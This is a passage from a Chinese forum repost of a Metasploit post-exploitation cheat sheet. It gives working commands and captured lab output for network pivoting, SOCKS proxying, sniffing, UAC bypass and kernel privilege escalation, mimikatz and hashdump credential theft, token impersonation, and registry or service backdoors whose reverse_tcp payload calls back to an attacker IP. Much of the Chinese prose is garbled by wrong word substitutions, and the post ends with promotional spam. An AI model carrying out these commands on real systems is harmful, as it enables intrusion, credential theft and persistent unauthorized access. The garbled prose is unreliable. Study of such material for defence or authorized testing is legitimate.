  10. rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码  
  11.   
  12.   
  13. # 添加路由  
  14.   
  15. # 方式一autoroute (deprecated)  
  16. run autoroute –h #查看帮助  
  17. run autoroute -s 192.168.2.0/24  #添加到目标环境网络  
  18. run autoroute –p  #查看添加的路由  
  19.   
  20. # 方式二post/multi/manage/autoroute  
  21. run post/multi/manage/autoroute CMD=autoadd #自动添加到目标环境网络  
  22. run post/multi/manage/autoroute CMD=print # 查看添加的路由  
  23. (Specify the autoroute command (Accepted: add, autoadd, print, delete, default))  
  24.   
  25. # 然后可以利用arp_scanner、portscan等进行存活检测  
  26. run arp_scanner -r 192.168.2.0/24  
  27. run post/multi/gather/ping_sweep RHOSTS=192.168.2.0/24  
  28. run auxiliary/scanner/portscan/tcp RHOSTS=192.168.2.0  
  29.   
  30. # autoroute添加完路由后,还可以利用msf自带的模块进行socks代理  
  31. # msf提供了2个模块用来做socks代理。  
  32. # auxiliary/server/socks_proxy  
  33. # use auxiliary/server/socks_unc  
  34. # 先background退出来,然后:  
  35. use auxiliary/server/socks_proxy  
  36. set srvhost 127.0.0.1  
  37. set srvport 1080  
  38. run  
  39.   
  40. # 然后vi /etc/proxychains.conf #添加 socks5 127.0.0.1 1080  
  41. # 最后proxychains 使用Socks5代理访问  
  42.   
  43. # sniffer抓包  
  44. use sniffer  
  45. sniffer_interfaces   #查看网卡  
  46. sniffer_start 2   #选择网卡 开始抓包  
  47. sniffer_stats 2   #查看状态  
  48. sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包  
  49. sniffer_stop 2   #停止抓包
复制代码
信息收集

  1. # 信息收集的脚本位于:  
  2. # modules/post/windows/gather  
  3. # modules/post/linux/gather  
  4. # 以下列举一些常用的  
  5. run post/windows/gather/checkvm #是否虚拟机  
  6. run post/linux/gather/checkvm #是否虚拟机  
  7. run post/windows/gather/forensics/enum_drives #查看分区  
  8. run post/windows/gather/enum_applications #获取安装软件信息  
  9. run post/windows/gather/dumplinks   #获取最近的文件操作  
  10. run post/windows/gather/enum_ie  #获取IE缓存  
  11. run post/windows/gather/enum_chrome   #获取Chrome缓存  
  12. run post/windows/gather/enum_patches  #补丁信息  
  13. run post/windows/gather/enum_domain  #查找定位域控  
  14. run post/windows/gather/enum_logged_on_users  #登录过的用户
复制代码
提权

1.getsystem提权 getsystem工作原理:①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时毗连到一个命名管道。②getsystem产生一个进程,它创建一个命名管道并等候来自该服务的毗连。③Windows服务已启动,导致与命名管道创建毗连。④该进程吸收毗连并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模仿令牌。然后用新收集的SYSTEM模仿令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
  1. getsystem  
复制代码
2.bypassuac 用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对体系进行未经授权的更改。应用步伐和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给体系授予管理员级别的访问权限。UAC 可以阻止未经授权的应用步伐进行自动安装,并防止无意中更改体系设置。
msf提供了如下几个模块帮助绕过UAC:
  1. msf5 auxiliary(server/socks5) > search bypassuac  
  2.   
  3. Matching Modules  
  4. ================  
  5.   
  6.    #  Name                                              Disclosure Date  Rank       Check  Description  
  7.    -  ----                                              ---------------  ----       -----  -----------  
  8.    0  exploit/windows/local/bypassuac                   2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass  
  9.    1  exploit/windows/local/bypassuac_comhijack         1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)  
  10.    2  exploit/windows/local/bypassuac_eventvwr          2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)  
  11.    3  exploit/windows/local/bypassuac_fodhelper         2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)  
  12.    4  exploit/windows/local/bypassuac_injection         2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)  
  13.    5  exploit/windows/local/bypassuac_injection_winsxs  2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS  
  14.    6  exploit/windows/local/bypassuac_sluihijack        2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)  
  15.    7  exploit/windows/local/bypassuac_vbs               2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
复制代码
使用方法类似,运行后返回一个新的会话,必要再次实行getsystem获取体系权限
  1. # 示例  
  2. meterpreter > getuid  
  3. Server username: SAUCERMAN\TideSec  
  4. meterpreter > background  
  5. [*] Backgrounding session 4...  
  6. msf5 exploit(multi/handler) >  use exploit/windows/local/bypassuac  
  7. msf5 exploit(windows/local/bypassuac) > set SESSION 4  
  8. SESSION => 4  
  9. msf5 exploit(windows/local/bypassuac) > run  
  10.   
  11. [-] Handler failed to bind to 192.168.81.160:4444:-  -  
  12. [-] Handler failed to bind to 0.0.0.0:4444:-  -  
  13. [*] UAC is Enabled, checking level...  
  14. [+] UAC is set to Default  
  15. [+] BypassUAC can bypass this setting, continuing...  
  16. [+] Part of Administrators group! Continuing...  
  17. [*] Uploaded the agent to the filesystem....  
  18. [*] Uploading the bypass UAC executable to the filesystem...  
  19. [*] Meterpreter stager executable 73802 bytes long being uploaded..  
  20. [*] Sending stage (206403 bytes) to 192.168.81.154  
  21. [*] Meterpreter session 5 opened (192.168.81.160:4444 -> 192.168.81.154:1134) at 2019-06-12 06:31:11 -0700  
  22. [-] Exploit failed [timeout-expired]: Timeout::Error execution expired  
  23. [*] Exploit completed, but no session was created.  
  24.   
  25. # 然后返回新的meterpreter会话,继续执行getsystem本应该会提权成功  
  26. # 然鹅这里失败了
复制代码
3.内核漏洞提权
无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提拔,好比windows体系的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。
  1. meterpreter > run post/windows/gather/enum_patches  #查看补丁信息  
  2. msf5 > use exploit/windows/local/ms13_053_schlamperei  
  3. msf5 > set SESSION 2  
  4. msf5 > exploit  
  5.   
  6. # 示例  
  7. meterpreter > run post/windows/gather/enum_patches  
  8.   
  9. [+] KB2871997 is missing  
  10. [+] KB2928120 is missing  
  11. [+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)  
  12. [+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008  
  13. [+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2  
  14. [+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity  
  15. [+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1  
  16. [+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1  
  17. meterpreter > background  
  18. [*] Backgrounding session 4...  
  19. msf5 exploit(windows/local/bypassuac) > search MS13-081  
  20.   
  21. Matching Modules  
  22. ================  
  23.   
  24.    #  Name                                             Disclosure Date  Rank     Check  Description  
  25.    -  ----                                             ---------------  ----     -----  -----------  
  26.    0  exploit/windows/local/ms13_081_track_popup_menu  2013-10-08       average  Yes    Windows TrackPopupMenuEx Win32k NULL Page  
  27.   
  28.   
  29. msf5 exploit(windows/local/bypassuac) > use exploit/windows/local/ms13_081_track_popup_menu  
  30. msf5 exploit(windows/local/ms13_081_track_popup_menu) > set session 4  
  31. session => 4  
  32. msf5 exploit(windows/local/ms13_081_track_popup_menu) > exploit  
  33.   
  34. [!] SESSION may not be compatible with this module.  
  35. [-] Handler failed to bind to 192.168.81.160:4444:-  -  
  36. [-] Handler failed to bind to 0.0.0.0:4444:-  -  
  37. [-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported  
  38. [*] Exploit completed, but no session was created.  
  39. # 然鹅失败了,摸摸头
复制代码
获取凭据

在内网情况中,一个管理员可能管理多台服务器,他使用的暗码有可能雷同大概有规律,假如可以或许得到暗码大概hash,再尝试登录内网别的服务器,可能取得意想不到的效果。
1.使用mimikatz
  1. load mimikatz    #help mimikatz 查看帮助  
  2. wdigest  #获取Wdigest密码  
  3. mimikatz_command -f samdump::hashes  #执行mimikatz原始命令  
  4. mimikatz_command -f sekurlsa::searchPasswords  
  5.   
  6. # 示例  
  7. meterpreter > load mimikatz  
  8. Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?  
  9. Success.  
  10. meterpreter > wdigest  
  11. [!] Not currently running as SYSTEM  
  12. [*] Attempting to getprivs ...  
  13. [+] Got SeDebugPrivilege.  
  14. [*] Retrieving wdigest credentials  
  15. wdigest credentials  
  16. ===================  
  17.   
  18. AuthID    Package    Domain        User           Password  
  19. ------    -------    ------        ----           --------  
  20. 0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE   
  21. 0;996     Negotiate  WORKGROUP     SAUCERMAN$      
  22. 0;48748   NTLM                                      
  23. 0;999     NTLM       WORKGROUP     SAUCERMAN$      
  24. 0;476238  NTLM       SAUCERMAN     TideSec        123456  
  25. 0;476209  NTLM       SAUCERMAN     TideSec        123456  
  26.   
  27. meterpreter > mimikatz_command -f samdump::hashes  
  28. Ordinateur : saucerman  
  29. BootKey    : 691cff33caf49e933be97fcee370256a  
  30. RegOpenKeyEx SAM : (0x00000005) �ݿ�   
  31. Erreur lors de l'exploration du registre  
  32. meterpreter > mimikatz_command -f sekurlsa::searchPasswords  
  33. [0] { TideSec ; SAUCERMAN ; 123456 }  
  34. [1] { TideSec ; SAUCERMAN ; 123456 }  
  35. [2] { SAUCERMAN ; TideSec ; 123456 }  
  36. [3] { SAUCERMAN ; TideSec ; 123456 }  
  37. [4] { TideSec ; SAUCERMAN ; 123456 }  
  38. [5] { TideSec ; SAUCERMAN ; 123456 }
复制代码


    • 使用meterpreter的run hashdump下令

  1. meterpreter > run hashdump  
  2.   
  3. [!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.  
  4. [!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]  
  5. [*] Obtaining the boot key...  
  6. [*] Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...  
  7. /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated  
  8. [*] Obtaining the user list and keys...  
  9. [*] Decrypting user keys...  
  10. /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:268: warning: constant OpenSSL::Cipher::Cipher is deprecated  
  11. /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:272: warning: constant OpenSSL::Cipher::Cipher is deprecated  
  12. /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:279: warning: constant OpenSSL::Cipher::Cipher is deprecated  
  13. [*] Dumping password hints...  
  14.   
  15. TideSec:"123456"  
  16.   
  17. [*] Dumping password hashes...  
  18.   
  19.   
  20. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
  21. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
  22. TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
复制代码
3.post/windows/gather/smart_hashdump
从上面也可以看出官方推荐post/windows/gather/smart_hashdump
  1. meterpreter > run post/windows/gather/smart_hashdump  
  2.   
  3. [*] Running module against SAUCERMAN  
  4. [*] Hashes will be saved to the database if one is connected.  
  5. [+] Hashes will be saved in loot in JtR password file format to:  
  6. [*] /home/ubuntu/.msf4/loot/20190612084715_default_192.168.81.154_windows.hashes_439550.txt  
  7. [*] Dumping password hashes...  
  8. [*] Running as SYSTEM extracting hashes from registry  
  9. [*]     Obtaining the boot key...  
  10. [*]     Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...  
  11. [*]     Obtaining the user list and keys...  
  12. [*]     Decrypting user keys...  
  13. [*]     Dumping password hints...  
  14. [+]     TideSec:"123456"  
  15. [*]     Dumping password hashes...  
  16. [+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
  17. [+]     TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
复制代码
4.powerdump 同 hashdump,但失败了
  1. meterpreter > run powerdump  
  2. [*] PowerDump v0.1 - PowerDump to extract Username and Password Hashes...  
  3. [*] Running PowerDump to extract Username and Password Hashes...  
  4. [*] Uploaded PowerDump as 69921.ps1 to %TEMP%...  
  5. [*] Setting ExecutionPolicy to Unrestricted...  
  6. [*] Dumping the SAM database through PowerShell...  
  7.   
  8. [-] Could not execute powerdump: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.
复制代码
冒充令牌

在用户登录windows操作体系时,体系都会给用户分配一个令牌(Token),当用户访问体系资源时都会使用这个令牌进行身份验证,功能类似于网站的session大概cookie。
msf提供了一个功能模块可以让我们冒充别人的令牌,实现身份切换,假如目的情况是域情况,刚好域管理员登录过我们已经有权限的终端,那么就可以冒充成域管理员的脚色。
  1. # 1.incognito假冒令牌  
  2. use incognito      #help incognito  查看帮助  
  3. list_tokens -u    #查看可用的token  
  4. impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token  
  5. 或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\  
  6. execute -f cmd.exe -i –t    # -t 使用假冒的token 执行  
  7. 或者直接shell  
  8. rev2self   #返回原始token  
  9.   
  10. # 2.steal_token窃取令牌  
  11. steal_token <pid值>   #从指定进程中窃取token   先ps,找域控进程  
  12. drop_token  #删除窃取的token
复制代码
植入后门

Meterpreter仅仅是在内存中驻留的Shellcode,只要目的机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。
1.persistence启动项后门
路径:metasploit/scripts/meterpreter/persistence
原理是在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本,在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\参加开机启动项,很容易被杀软拦截,官方不推荐
  1. run persistence –h  #查看帮助  
  2. run persistence -X -i 5 -p 4444 -r 192.168.81.160  
  3. #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip  
  4. # 示例  
  5. meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.81.160  
  6.   
  7. [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.  
  8. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...]  
  9. [*] Running Persistence Script  
  10. [*] Resource file for cleanup created at /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.4235/SAUCERMAN_20190612.4235.rc  
  11. [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.81.160 LPORT=4444  
  12. [*] Persistent agent script is 99630 bytes long  
  13. [+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs  
  14. [*] Executing script C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs  
  15. [+] Agent executed with PID 3540  
  16. [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua  
  17. [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua
复制代码
能实现同样功能的脚本尚有:exploit/windows/local/persistence
2.metsvc服务后门
在C:\Users**\AppData\Local\Temp\目录下,上传一个vbs脚本 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\参加开机启动项。**通过服务启动,必要管理员权限,官方不推荐使用,运行失败*
  1. run metsvc –A   #自动安装后门  
  2.   
  3. # 示例  
  4. meterpreter > run metsvc –A  
  5.   
  6. [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.  
  7. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...]  
  8. [*] Creating a meterpreter service on port 31337  
  9. [*] Creating a temporary installation directory C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH...  
  10. [*]  >> Uploading metsrv.x86.dll...  
  11. [*]  >> Uploading metsvc-server.exe...  
  12. [*]  >> Uploading metsvc.exe...  
  13. [*] Starting the service...  
  14.     Cannot open service manager (0x00000005)  
  15.   
  16. meterpreter > ls  
  17. Listing: C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH  
  18. ========================================================  
  19.   
  20. Mode              Size    Type  Last modified              Name  
  21. ----              ----    ----  -------------              ----  
  22. 100666/rw-rw-rw-  178688  fil   2019-06-12 06:46:20 -0700  metsrv.dll  
  23. 100777/rwxrwxrwx  45056   fil   2019-06-12 06:46:21 -0700  metsvc-server.exe  
  24. 100777/rwxrwxrwx  61440   fil   2019-06-12 06:46:21 -0700  metsvc.exe
复制代码
三个文件上传成功,但服务没有启动起来,失败了。使用-r参数可卸载服务。
3.persistence_exe
再来看看官方推荐的东西吧
  1. meterpreter > info post/windows/manage/persistence_exe  
  2.   
  3.        Name: Windows Manage Persistent EXE Payload Installer  
  4.      Module: post/windows/manage/persistence_exe  
  5.    Platform: Windows  
  6.        Arch:   
  7.        Rank: Normal  
  8.   
  9. Provided by:  
  10.   Merlyn drforbin Cousins <drforbin6@gmail.com>  
  11.   
  12. Compatible session types:  
  13.   Meterpreter  
  14.   
  15. Basic options:  
  16.   Name      Current Setting  Required  Description  
  17.   ----      ---------------  --------  -----------  
  18.   REXENAME  default.exe      yes       The name to call exe on remote system  
  19.   REXEPATH                   yes       The remote executable to upload and execute.  
  20.   SESSION                    yes       The session to run this module on.  
  21.   STARTUP   USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)  
  22.   
  23. Description:  
  24.   This Module will upload an executable to a remote host and make it   
  25.   Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER   
  26.   will start on user login, SYSTEM will start on system boot but   
  27.   requires privs. SERVICE will create a new service which will start   
  28.   the payload. Again requires privs.  
  29.   
  30.   
  31.   
  32. Module options (post/windows/manage/persistence_exe):  
  33.   
  34.    Name      Current Setting  Required  Description  
  35.    ----      ---------------  --------  -----------  
  36.    REXENAME  default.exe      yes       The name to call exe on remote system  
  37.    REXEPATH                   yes       The remote executable to upload and execute.  
  38.    SESSION                    yes       The session to run this module on.  
  39.    STARTUP   USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
复制代码
此模块将可实行文件上载到长途主机并进行创建持久性。涉及到四个参数


  • • REXENAME是拷贝到目的体系中的名字
  • • EXEPATH是将要上传的后门在本地的位置
  • • SESSION是选择运行此模块的会话
  • • STARTUP是启动类型,有USER、SYSTEM、SERVICE这三种取值,USER表示为将在用户登录时启动,SYSTEM表示将在体系启动时启动(必要权限),SERVICE表示将创建一个启动服务项(必要权限)。
尝试一下:
  1. meterpreter > run post/windows/manage/persistence_exe REXENAME=backdoor.exe REXEPATH=/home/ubuntu/shell.exe STARTUP=USER  
  2.   
  3. [*] Running module against SAUCERMAN  
  4. [*] Reading Payload from file /home/ubuntu/shell.exe  
  5. [+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\backdoor.exe  
  6. [*] Executing script C:\Users\TideSec\AppData\Local\Temp\backdoor.exe  
  7. [+] Agent executed with PID 3684  
  8. [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI  
  9. [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI  
  10. [*] Cleanup Meterpreter RC File: /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.1023/SAUCERMAN_20190612.1023.rc
复制代码
4.registry_persistence
完整路径为exploit/windows/local/registry_persistence
和第一种方法类似,此模块将会安装一个payload到注册表的启动项中。
  1. meterpreter > background  
  2. [*] Backgrounding session 13...  
  3. msf5 auxiliary(server/socks5) > use exploit/windows/local/registry_persistence  
  4. msf5 exploit(windows/local/registry_persistence) > show options  
  5.   
  6. Module options (exploit/windows/local/registry_persistence):  
  7.   
  8.    Name           Current Setting  Required  Description  
  9.    ----           ---------------  --------  -----------  
  10.    BLOB_REG_KEY                    no        The registry key to use for storing the payload blob. (Default: random)  
  11.    BLOB_REG_NAME                   no        The name to use for storing the payload blob. (Default: random)  
  12.    CREATE_RC      true             no        Create a resource file for cleanup  
  13.    RUN_NAME                        no        The name to use for the 'Run' key. (Default: random)  
  14.    SESSION                         yes       The session to run this module on.  
  15.    SLEEP_TIME     0                no        Amount of time to sleep (in seconds) before executing payload. (Default: 0)  
  16.    STARTUP        USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM)  
  17.   
  18.   
  19. Exploit target:  
  20.   
  21.    Id  Name  
  22.    --  ----  
  23.    0   Automatic  
  24.   
  25.   
  26. msf5 exploit(windows/local/registry_persistence) > set SESSION 13  
  27. SESSION => 13  
  28. msf5 exploit(windows/local/registry_persistence) > run  
  29.   
  30. [*] Generating payload blob..  
  31. [+] Generated payload, 6048 bytes  
  32. [*] Root path is HKCU  
  33. [*] Installing payload blob..  
  34. [+] Created registry key HKCU\Software\0BaG3zDR  
  35. [+] Installed payload blob to HKCU\Software\0BaG3zDR\iiEB4InD  
  36. [*] Installing run key  
  37. [+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SMPqA5kB  
  38. [*] Clean up Meterpreter RC file: /home/ubuntu/.msf4/logs/persistence/192.168.81.154_20190612.2138/192.168.81.154_20190612.2138.rc
复制代码
同类型的尚有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence。
cs大全

cs派生msf
  1.   
  2. msf > use exploit/multi/handler   
  3. msf exploit(handler) > set payload windows/meterpreter/reverse_http  
  4. msf exploit(handler) > set lhost 192.168.0.143  
  5. msf exploit(handler) > set lport 4444  
  6. msf exploit(handler) > exploit  
  7.   
  8. cs创建一个windows/foreign/reverse_http的 Listener  
  9. 然后选中对应机器,右键->Spawn,选择刚刚创建的监听器。
复制代码
二、项目所在
https://github.com/safe6Sec/command
为了帮助大家更好的学习网络安全,我给大家预备了一份网络安全入门/进阶学习资料,里面的内容都是得当零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,必要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享



因篇幅有限,仅展示部分资料,必要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

渣渣兔

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表